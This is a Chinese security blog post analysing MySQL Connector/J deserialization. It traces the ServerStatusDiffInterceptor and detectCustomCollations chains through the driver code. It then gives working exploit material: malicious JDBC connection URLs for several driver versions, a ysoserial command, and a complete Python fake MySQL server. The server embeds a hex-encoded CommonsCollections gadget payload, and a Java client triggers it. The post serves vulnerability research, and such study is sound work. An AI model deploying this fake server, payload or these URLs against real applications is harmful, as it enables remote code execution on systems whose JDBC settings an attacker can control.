Java安全 - Mysql-JDBC反序列化
漏洞分析
Mysql-JDBC反序列化
JDBC 反序列化 ========= JDBC（Java DataBase Connectivity）是Java和数据库之间的一个桥梁，是一个 规范 而不是一个实现，能够执行SQL语句 简单demo ```java String Driver = "com.mysql.cj.jdbc.Driver"; //从 mysql-connector-java 6开始 String DB_URL="jdbc:mysql://127.0.0.1:3306/security"; //1.加载启动 Class.forName(Driver); //2.建立连接 Connection conn = DriverManager.getConnection(DB_URL,"root","root"); //3.操作数据库，实现增删改查 Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from users"); //如果有数据，rs.next()返回true while(rs.next()){ System.out.println(rs.getString("id")+" : "+rs.getString("username")); } ``` 前提 -- 1. Jdbc可控且目标机器出网。 2. 存在反序列化漏洞链。 原理 -- 如果攻击者能够控制JDBC连接设置项，那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。 漏洞分析 ---- 一共两条触发链子，也可以说是 就两个sql语句 - `SHOW SESSION STATUS` - `SHOW COLLATION` ### 这里有几个前置知识补充一下 - BLOB为二进制形式的长文本数据 - BIT类型(Bit数据类型用来存储bit值)数据 - queryInterceptors:一个逗号分割的Class列表（实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class），在Query”之间”进行执行来影响结果。（效果上来看是在Query执行前后各插入一次操作） - autoDeserialize:自动检测与反序列化存在BLOB字段中的对象 这里最重点和最巧妙的就是这个`queryInterceptors` 参数，直接看文字感觉有点迷，听我解释： 它允许你指定一个或多个实现了 `com.mysql.cj.interceptors.QueryInterceptor` 接口的类。这些类的目的是在执行 SQL 查询前后进行拦截和操纵，你完全可以理解为，只要JDBC带上了这个，在执行SQL语句前 和 后 他就会有一层类似的`Filter`，默认调用其 预处理`preProcess` 和后处理`postProcess`等方法！！！(实在不懂就需要参考一下java mysql connect的官方连接手册) ### ServerStatusDiffInterceptor触发payload 依赖 ```xml mysql mysql-connector-java 8.0.13 ``` 这里先不看poc 为啥？因为poc看了也不知道为啥报错，所以先从作者的角度来触发 首先作者也是常规思路，先去找了`readObject`方法，发现在 `com.mysql.cj.jdbc.result.ResultSetImpl.getObject()` 这里找到以下代码 ```java public Object getObject(int columnIndex) throws SQLException { try { this.checkRowPos(); this.checkColumnBounds(columnIndex); int columnIndexMinusOne = columnIndex - 1; if (this.thisRow.getNull(columnIndexMinusOne)) { return null; } else { Field field = this.columnDefinition.getFields()[columnIndexMinusOne]; switch (field.getMysqlType()) { //判断数据是不是bit类型或者blob类型 case BIT: if (!field.isBinary() && !field.isBlob()) { return field.isSingleBit() ? this.getBoolean(columnIndex) : this.getBytes(columnIndex); } else { byte[] data = this.getBytes(columnIndex); if (!(Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) { //获取连接属性的autoDeserialize是否为true return data; } else { Object obj = data; if (data != null && data.length >= 2) { //data长度大于等于2 if (data[0] != -84 || data[1] != -19) { // Serialized object 识别是否为序列化后的对象 return this.getString(columnIndex); } // 如果是java的序列化对象，则进入以下逻辑进行反序列化 try { ByteArrayInputStream bytesIn = new ByteArrayInputStream(data); ObjectInputStream objIn = new ObjectInputStream(bytesIn); obj = objIn.readObject(); objIn.close(); bytesIn.close(); } catch (ClassNotFoundException var13) { throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var13.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor()); } catch (IOException var14) { obj = data; } } return obj; } } case BOOLEAN: return this.getBoolean(columnIndex); case TINYINT: return Integer.valueOf(this.getByte(columnIndex)); case BLOB: if (!field.isBinary() && !field.isBlob()) { return this.getBytes(columnIndex); } else { byte[] data = this.getBytes(columnIndex); if (!(Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) { return data; } else { Object obj = data; if (data != null && data.length >= 2) { if (data[0] != -84 || data[1] != -19) { return this.getString(columnIndex); } try { ByteArrayInputStream bytesIn = new ByteArrayInputStream(data); ObjectInputStream objIn = new ObjectInputStream(bytesIn); obj = objIn.readObject(); objIn.close(); bytesIn.close(); } catch (ClassNotFoundException var10) { throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var10.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor()); } catch (IOException var11) { obj = data; } } return obj; } } ``` 这里后半段省略了因为没啥作用 相关的代码内容在代码块中已经解释了 总的来说其实就是 如果判断出是否为bit类型or blob类型，如果是bit类型的话就去判断连接的属性，然后如果传入的是一个序列化的字节，则进行readobject反序列化 那么这里其实很容易理解，那么再次按照作者的思路，去找哪个地方调用了 `getobject()`方法 于是找到了 `com.mysql.cj.jdbc.util.ResultSetUtil.resultSetToMap()`方法  那么再去追溯一下谁调用了`resultSetToMap` 就可以找到`com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues()` 方法  那么谁去触发这个`com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues()` 方法 就是该类下的 `preProcess` 方法  #### 小结 那么整条链子就很清晰了 从MySQL服务端获取到字节码数据后，判断autoDeserialize是否为true、字节码数据是否为序列化对象等，最后调用readObject()触发反序列化漏洞 在mysql的getconnect过程中会去触发一系列函数从而触发我们手动配置的queryInterceptors(可以类比于一个拦截查询器)进行一个SQL Query的查询，其中在以上代码分析当中可以看出如果查询拦截器不为空，则调用的查询拦截器的`preProcess()`方法，然后进入到`preProcess()`该方法后执行了 `SHOW SESSION STATUS` ,然后把返回来的结果(此时这个sql查询是已经在恶意的mysql中返回的结果)，调用了`resultSetToMap()`方法然后把返回的结果传进去，该函数中就调用了触发反序列化漏洞的getObject()函数(注意columnIndex为2处才能走到反序列化的代码逻辑，因为为1则直接返回null) MySQL JDBC客户端在开始连接MySQL服务端时，会执行一些如`set autocommit=1` 等SQL Query，其中会触发我们所配置的queryInterceptors中的preProcess()函数，在该函数逻辑中、当MySQL字段类型为BLOB时，会对数据进行反序列化操作，因此只要保证第1或第2字段为BLOB类型且存储了恶意序列化数据即可触发反序列化漏洞。 最终这条链子的payload如下 ```java (1) MYSQL8.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc (2) MYSQL6.x(属性名不同): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc (3) MYSQL5.1.11及以上的5.x版本(包名改了): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc (4) MYSQL5.1.10及以下的5.1.X版本: 同上，但是需要连接后执行查询。 (5) MYSQL5.0.x: 还没有ServerStatusDiffInterceptor。 ``` ### detectCustomCollations触发payload 依赖 ```xml mysql mysql-connector-java 5.1.29 ``` 其实这个链子跟上述是一样的 漏洞的触发点是在 `com.mysql.cj.jdbc.ConnectionImpl#buildCollationMapping()`  在服务器版本大于等于4.1.0且detectCustomCollations选项为true的情况下，可以获取`SHOW COLLATION`的结果，当依赖满足大于5.0.0就会将查询结果带进Util.resultSetToMap方法，那么在执行这个SQL query就会把 `SHOW COLLATION` 的结果传入到上述的 `resultSetToMap` 方法中去触发我们的readobject方法造成反序列化 最终这条链子的payload如下 ```java (1) MYSQL5.1.41及以上: 不可用 (2) MYSQL5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc (3) MYSQL5.1.28-5.1.19: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc (4) MYSQL5.1.18以下的5.1.x版本: 不可用 (5) MYSQL5.0.x版本: 不可用 ``` 漏洞复现 ---- 首先利用到的恶意mysql是 [https://github.com/fnmsd/MySQL\_Fake\_Server](https://github.com/fnmsd/MySQL_Fake_Server) 这是一个可以方便的辅助MySQL客户端文件读取和提供MySQL JDBC反序列化漏洞所需序列化数据的假服务器 现在这个python目录下生成yso的payload ```java java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload ``` 恶意的mysql ```python # coding=utf-8 import socket import binascii import os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data(conn): data = conn.recv(1024) print("[*] Receiveing the package : {}".format(data)) return str(data).lower() def send_data(conn,data): print("[*] Sending the package : {}".format(data)) conn.send(binascii.a2b_hex(data)) def get_payload_content(): #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload file= r'payload' if os.path.isfile(file): with open(file, 'rb') as f: payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8') print("open successs") else: print("open false") #calc payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content # 主要逻辑 def run(): while 1: conn, addr = sk.accept() print("Connection come from {}:{}".format(addr[0],addr[1])) # 1.先发送第一个 问候报文 send_data(conn,greeting_data) while True: # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok receive_data(conn) send_data(conn,response_ok_data) #其他过程 data=receive_data(conn) #查询一些配置信息,其中会发送自己的 版本号 if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' # 为什么我加了EOF Packet 就无法正常运行呢？？ # 获取payload payload_content=get_payload_content() # 计算payload长度 payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] # 计算数据包长度 data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex mysql_data += str(payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break if __name__ == '__main__': HOST ='0.0.0.0' PORT = 3307 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间 sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sk.bind((HOST, PORT)) sk.listen(1) print("start fake mysql server listening on {}:{}".format(HOST,PORT)) run() ``` 然后客户端mysql ```java package org.example; import java.sql.*; public class Test { public static void main(String[] args) throws Exception { Class.forName("com.mysql.jdbc.Driver"); String jdbc_url = "jdbc:mysql://127.0.0.1:3307/test?" + "autoDeserialize=true" + "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; Connection con = DriverManager.getConnection(jdbc_url, "root", "root"); } } ```  参考文章 - <https://xz.aliyun.com/t/8159> - <https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#%E5%B0%8F%E7%BB%93> - <https://www.anquanke.com/post/id/203086>
发表于 2024-04-17 10:00:02
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Zacky
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